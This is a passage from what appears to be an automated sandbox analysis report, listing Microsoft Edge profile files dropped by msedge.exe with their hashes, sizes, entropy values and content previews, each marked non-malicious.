Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.6352057207568027
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS62FQi1moIUaOSkcaoC2scmy1a:ifIEumQv8m1ccnvS64RAoNabvao3mx
MD5:	DBA87ECF33AA47AA8840DA1DAA750DCA
SHA1:	AD8D1D0990D0998AB9D5E6D98741FE5BA1CF6DD0
SHA-256:	7C4D7F7070117EA3B30D5C11E7EE53DD7480EF6C0226841BDE8008E42DE91244
SHA-512:	6A072C34EC4BD75ECC6FC565F2CBFFDD6245013A85DD9607545C145A3A6A6AC182021BF3444DFE3E151C4727A06B71C1023D293EF94E300FB39EEAA339C1728B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c9aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3dd61.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3de99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a1bcc130-991a-4e8a-b707-2c5f19b9b8a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a8abbe47-3a61-49d4-ba77-f9eaf6938ef9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b1da953b-f866-48fa-bbd4-dfc890923195.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.310732040946868
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFZtsF8fcKsZaleeIkBRstCgHuYhbj:F2fSZS83keIkBiTDh/
MD5:	2923493B10B09BBE6FEA600FFE3D5D87
SHA1:	6AB20C1D1E465E5EBCA8C9ED8AA77CCBEA5D1AFE
SHA-256:	4AFECA7F031010AB085FF3BCF3BD51E4124EDBF21E4237A94C9D9521CB2B2274
SHA-512:	0E5D759F114B9FEEA39958291F82D72985453461CA6A4390C3835085411A525F46352060C248442AC31FC3F818552C98650DBDA1015BEFBA2AC4AB103DED3680
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377286772863249","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377286775559498","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374788378080887","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.275912700690761
Encrypted:	false
SSDEEP:	192:sttJ99QTryDigabatSuypdsjnaFvrEAMPkB4VU8WbV+FQcQAfU8PtYJ:sttPGKSu4dsjnCDVMA1bG3QBL
MD5:	D78FCCF2BAB665251A86EF41E22C7FD2
SHA1:	876E3EC2001B7B8EDEDC827190D9FA21FFFFB4E3
SHA-256:	3364D9923035F20F43F54AAE86041F900DCB42C039B20E5CDBC0FA8C5B828213
SHA-512:	709ACC63C39A2B1F8BBA7A5B8230494199C7E5F41074F678C1F5391DF4A6E5DB6A4DE25C0239E5656B23D8A67865324295521F4A88D731CB8F7B5CF1D3280979
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4127b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.275912700690761
Encrypted:	false
SSDEEP:	192:sttJ99QTryDigabatSuypdsjnaFvrEAMPkB4VU8WbV+FQcQAfU8PtYJ:sttPGKSu4dsjnCDVMA1bG3QBL
MD5:	D78FCCF2BAB665251A86EF41E22C7FD2
SHA1:	876E3EC2001B7B8EDEDC827190D9FA21FFFFB4E3
SHA-256:	3364D9923035F20F43F54AAE86041F900DCB42C039B20E5CDBC0FA8C5B828213
SHA-512:	709ACC63C39A2B1F8BBA7A5B8230494199C7E5F41074F678C1F5391DF4A6E5DB6A4DE25C0239E5656B23D8A67865324295521F4A88D731CB8F7B5CF1D3280979
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45948.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.275912700690761
Encrypted:	false
SSDEEP:	192:sttJ99QTryDigabatSuypdsjnaFvrEAMPkB4VU8WbV+FQcQAfU8PtYJ:sttPGKSu4dsjnCDVMA1bG3QBL
MD5:	D78FCCF2BAB665251A86EF41E22C7FD2
SHA1:	876E3EC2001B7B8EDEDC827190D9FA21FFFFB4E3
SHA-256:	3364D9923035F20F43F54AAE86041F900DCB42C039B20E5CDBC0FA8C5B828213
SHA-512:	709ACC63C39A2B1F8BBA7A5B8230494199C7E5F41074F678C1F5391DF4A6E5DB6A4DE25C0239E5656B23D8A67865324295521F4A88D731CB8F7B5CF1D3280979
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4ce97.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.275912700690761
Encrypted:	false
SSDEEP:	192:sttJ99QTryDigabatSuypdsjnaFvrEAMPkB4VU8WbV+FQcQAfU8PtYJ:sttPGKSu4dsjnCDVMA1bG3QBL
MD5:	D78FCCF2BAB665251A86EF41E22C7FD2
SHA1:	876E3EC2001B7B8EDEDC827190D9FA21FFFFB4E3
SHA-256:	3364D9923035F20F43F54AAE86041F900DCB42C039B20E5CDBC0FA8C5B828213
SHA-512:	709ACC63C39A2B1F8BBA7A5B8230494199C7E5F41074F678C1F5391DF4A6E5DB6A4DE25C0239E5656B23D8A67865324295521F4A88D731CB8F7B5CF1D3280979
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561523379625778
Encrypted:	false
SSDEEP:	768:4sBuAZWBa7pLGLpuEW5wddf42r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPBdHoISPC:4W/ZCycpuEWaddfvru1jakdHQMaHAwov
MD5:	7B1102CDB47FE9D357663DB77B6AF31A
SHA1:	48E2D6EF3AC1CA59B0C201F56922EE14AEF3B83C
SHA-256:	CEC46CBC9F1B0A022B72C33B184889A45AC6EBFCFF7919672EADF91351E34599
SHA-512:	2ADD44E3B7426110424A5B76EB174615CBFD8A6D09709C89BE882DB9FD237F709AD73CD11F4AF90B457221C24E551323F3B66592FAB0C6759C77DDA96492AA04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374694770184748","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374694770184748","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF42cc9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561523379625778
Encrypted:	false
SSDEEP:	768:4sBuAZWBa7pLGLpuEW5wddf42r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPBdHoISPC:4W/ZCycpuEWaddfvru1jakdHQMaHAwov
MD5:	7B1102CDB47FE9D357663DB77B6AF31A
SHA1:	48E2D6EF3AC1CA59B0C201F56922EE14AEF3B83C
SHA-256:	CEC46CBC9F1B0A022B72C33B184889A45AC6EBFCFF7919672EADF91351E34599
SHA-512:	2ADD44E3B7426110424A5B76EB174615CBFD8A6D09709C89BE882DB9FD237F709AD73CD11F4AF90B457221C24E551323F3B66592FAB0C6759C77DDA96492AA04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374694770184748","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374694770184748","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.860584365760213
Encrypted:	false
SSDEEP:	24:F2xc5NmncncmokCROulg2D8fRHtA7CROulg2PVFsCROulg2D/RHtAw6CROulg2Ef:F2emIedD8fB/dPVFpdD/BL/dEB9
MD5:	EF3ADF8C35A6E12FE12BA3A24204EF79
SHA1:	217122ECA1704C660ECCAD0531482B30B6592C7D
SHA-256:	4A38C17BB84FAC551F6BA47EFAA2685450424B52F7CA4263679E2F8409FDD4F5
SHA-512:	473FF2D23E79D0FF6CACEB3F46F197F8B52B1ED73A8EF4C0566704951B36A3CCD403AE3E4A60CFC3D7FC6D3A1BF8CA46E61093387AC25622C56670BC5A7D1A58
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..[81................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.163152492060626
Encrypted:	false
SSDEEP:	6:1QlD1N723oH+TcwtE/a252KLlPQJb+q2PN723oH+TcwtE/a2ZIFUv:1QRaYeb8xLtQx+vVaYeb8J2FUv
MD5:	86793562B17EB508E374F07728E6F5E4
SHA1:	8FF58F87942DB3C9E7FA0A9935D5B40368E83D29
SHA-256:	791308B10E946E1490863E7B731137AF212B3A76CFE5C1DDD51FDE039298289A
SHA-512:	72B01FBA55ED5B16AF1E74921DA0C0ABD7F32CFE5FA3113F2773A31C8B829317D073C881ED46ABE097D6D07517CE1B9C4A3BDFF24F7639F745B70E6B822280B9
Malicious:	false
Preview:	2024/10/29-12:59:43.696 1f3c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/29-12:59:43.711 1f3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113318
Entropy (8bit):	5.579856048587844
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGIjn53vIZPiAL/r4L/rjJu:59LyxPXfOxr1lMe1Z6rFJlv47L/ML/I
MD5:	6B83E9B256CC72E8C51408F624D9A23E
SHA1:	7E87F5984E8A74E8A3E09905FCDCF8A989BEAD5C
SHA-256:	E2DA6E60FF3C4FB3DAB6424AAFDC553A0B5B67C73E829EA603CD3C82E5FFC376
SHA-512:	642DF84815B683601F5CA568AB9C4101136767EB04E213488C81479E31930A98EA2D2F5E22C38056B80C821D1789273BA1B26C7CE741BDFC9AAA349F435E4539
Malicious:	false
